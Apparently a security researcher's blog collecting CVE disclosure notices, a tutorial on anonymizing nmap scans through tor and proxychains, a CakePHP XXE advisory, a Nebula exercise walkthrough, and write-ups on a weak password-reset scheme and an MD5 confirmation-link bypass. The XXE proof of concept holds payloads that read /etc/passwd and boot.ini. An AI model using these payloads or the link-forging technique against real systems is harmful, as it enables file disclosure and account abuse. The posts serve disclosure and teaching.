Microsoft Internet Explorer CShadow Direction Integer Overflow Remote Code Execution CVE-2015-0036 (MS15-009)

In this months bulletin Microsoft has fixed multiple vulnerabilities in Internet Explorer including one which was mine. It was an integer overflow in the CShadow filter which could lead to remote code execution. It affected Internet Explorer 10 and 11. You can find the original ZDI advisory here and the Microsoft Bulletin here.

There is some confusion when it comes to CVE assignment, as Microsoft acknowledged me for CVE-2015-0035 (also credited to Sky) while ZDI marked my bug CVE-2015-0036 which is credited to an anonymous researcher on the bulletin page. I will update this post if something changes regarding to that.

CVE-2014-3788 and MS14-028

Zero Day Initiative (ZDI) has published another advisory for a heap buffer overflow vulnerability in Cogent DataHub webserver that i found. The bug occured when passing a negative value in the Content-Length header. The original advisory can be read here ZDI-14-135.

Recently i also have been acknowledged by Microsoft for responsible disclosure (through SSD) of two denial of service vulnerabilities affecting the iSCSI Target (CVE-2014-0255 and CVE-2014-0256). MS Bulletin can be found here MS14-028.

Anonymous port scanning using proxychains and tor

When testing a web application or doing a reconnaissance Tor Browser Bundle is all we need to hide our true identity, but what about other activities? In this short post i will explain how to stay anonymous during port scanning. We will need the following tools to achieve this goal:

• tor,
• proxychains,
• nmap. 

Proxychains is a proxifier supporting HTTP, SOCKS4 and SOCKS5 proxies. It is shipped with BackTrack Linux by default and already configured to use tor. You can verify this by looking up /etc/proxychain.conf, last line should be like this:

We are ready to fire up nmap:


Now, let me explain what happened there. We run nmap thru proxychains with the following options:

• -sT - full TCP connection scan
• -PN - do not perform host discovery
•  -n - never perform DNS resolution (to prevent DNS leaks from tor)
• -sV - determine service version/info
• -p - ports to scan (for testing purposes i only gave 3 ports to scan, proxying a portscan thru tor makes it really slow, so perhaphs --top-ports  option should be taken in consideration)
• - self explanatory

In the scan log we can see the "chain" that goes from 127.0.0.1:9050 (tor proxy) to our scanned host. It is possible that we will encounter a situation where this scan fails, because tor endpoints are often blocked (the reason is spam or other malicious activity). The solution may be adding a common, public proxy to the "chain". We can do that by simply editing the proxychains.conf and adding a new entry at the end of the [ProxyList] (be sure that random_chain option is disabled).

That's all for tonight, hope somebody will find this information useful.

CakePHP 2.x XXE injection

# Exploit title: CakePHP XXE injection # Date: 01.07.2012

# Software Link: http://www.cakephp.org # Vulnerable version: 2.x - 2.2.0-RC2

# Tested on: Windows and Linux # CVE: CVE-2012-4399 # Author: Pawel Wylecial

# http://h0wl.pl

1. Background

Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."

2. Vulnerability

CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.

3. Proof of Concept

Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>

4. Fix

Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1

5. Timeline

1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release

exploit-exercises.com walkthrough - Nebula level02

So here's our challenge: http://exploit-exercises.com/nebula/level02.

We have an environment value USER copied to the buffer without any checking. In the next step the buffer content is executed with a system() call. Basically we just need to prepare USER environment variable with a "proper" content and we are good to go:

level02 walkthrough.

And that's all :)

How to NOT implement password reminder function

A quick post about my recent discovery. I created an account on a some website and wanted to get my password reminded. There was only one step - provide e-mail address used to register.

My first suprise was that the password was changed immediately without any confirmation. That means if i only knew a person e-mail i could change his password !

Second surprise was the pattern that emerged when i generated few passwords (for different accounts with different passwords):

XS?dh*96
NJ*fz!45
KX$mm!73
ZE*wx*98
PJ*fg?93
ZC?gb?4
JU!ig*80
YZ*vz@95
DD@fy@70
MX*em%72
DM%cn%17

[2 upper letters][special char][2 lower letters][special char][number max 2 digit].

Can you spot the problem ?

• I am able to change someone's password knowing only his e-mail,
• I know the generation pattern for this new password.

Based on those rules we are able to generate a dictionary file, and try to crack the password. However in this case it is not critical beacuse this is a webapplication. We have:
26 x 26 x 6 x 26 x 26 x 100 = 274185600 possible combinations, so the dictionary file would be around 2.2 GB size. Yep, it seems like a lot of time, but in case of flaws in the randomness of the string generation we could probally shorten the amount of time needed to crack it - i need to examine it deeper. To sum up, it does not seem to be a threat (for now) but those patterns definitely should have not appear in that function.

How to NOT generate confirmation links

Today i registered an account at some company website. As usual i got an confirmation e-mail to click on, so my account would be activated.It looked like this:

part of activation e-mail i received.

So my first thought was to check this md5 hash ! :)

Using google i quickly got an answer:

md5 hash and the source string.

Hm.. interesting, so it looks like the pattern is 'mw' string + login. Let's verify this.

First step is creating an account with non existant e-mail address.

our fake input data.

Next we generate a md5 hash for 'mwthisisfake' string and pasting the crafted url to the browser.

confirmation link generated by us.

Success!

Registration confirmation info.

So let's see if we can log in.

Logged in as thisisfake user.

Ok, so i managed to skip the e-mail verification - what's so bad about it ?

First obvious conclusion is that users can create accounts without using a valid e-mail address.Also it is easier to write a script for automatic user generation (no e-mail, no captcha verification). User login enumeration is possible too. This is just a registration confirmation link, imagine what would happen if reset password function had this vulnerability (and i've seen it happend before). I'll try to continue on this topic if i find more interesting examples.